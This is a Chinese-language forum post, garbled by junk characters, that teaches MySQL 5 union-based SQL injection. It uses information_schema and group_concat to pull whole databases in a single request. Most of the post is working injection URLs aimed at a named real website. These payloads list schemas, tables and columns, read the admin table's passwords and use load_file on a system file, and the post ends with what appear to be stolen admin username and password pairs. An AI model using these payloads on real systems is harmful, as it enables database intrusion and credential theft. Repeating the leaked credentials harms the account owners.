此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似) ~. L0 t9 T0 Y1 }( [9 M5 w; J
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人$ c1 J# M) t3 }$ Q
K, N9 B. d/ j4 O& S
& }' R m6 i1 u2 C优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入/ Y A- i$ N' j/ |9 L
' L$ S9 H( r$ V4 K$ i
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...& P3 p6 q9 m8 l) z; ?, d
' M$ i4 H; k# t/ Q C% t
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
% D; r1 I! A* A6 r( m* e在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等6 \4 _- a4 N; s& d
: j4 ?- N. a& N; o; J0 Ahttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
! L0 \% g1 @- S4 B" \
! p& M. C9 i! o( }- J读出所有库:3 w# W" o" H2 {; i* I! z/ x
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA" s: x0 y: L5 V7 z& [5 Y
! T+ V, ?) v; A$ s M
" ?. c9 c) V- w2 z4 P: r/ G6 H x, B9 ~, D3 U
读出所有表:
5 G y6 U1 {$ G' {" j) Zhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
4 g( r2 ^6 \$ q+ N- s3 F1 Q1 y* q0 U
读出所有表字段:* l9 V" l: `) P
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)2 p' g/ Y& | C8 [* F
*/ (97,100,109,105,110)为admin的ascii码 依次类推
, R, }- u/ e5 c. s8 O
) c! O. @0 _& y3 X# U* A读出所有表字段里的内容:
' a- _+ ^: R7 n2 Whttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin" W& ~6 t* F v, u8 J. i6 s
- E0 i# {% e3 z& ?3 s
% r( N: {* G6 s% L
, u! D1 S! \; a. @$ c4 @4 | h
* r3 u; S4 d. I6 k4 Q* R! X$ T8 `. D5 _/ d" q( O
- I2 l( ]% ~0 l( p5 n
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
9 Q4 U! x6 z y1 _
( U- s( n# e; K0 `( b
% B- g( I9 N2 \1 V: a& p; ?4 thttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%238 \) A0 i) r1 q6 v- G ]( n
5 v3 i! Y( D j3 S# h) h; s' |
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23+ d, O& j+ u3 t2 e" n1 s. K
0 b! N4 H0 n' ^; N4 ^- M$ @! @: y' s+ y! h# x; G% g8 r" [
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
) }3 {. S/ J9 v0 `( n! q* s8 X; m3 `2 I
/ p. }3 N' [+ |+ Q' \7 a webmaster:dzb521123,simlab:simadmin20043233
2 d: V* g! g) c1 g: P |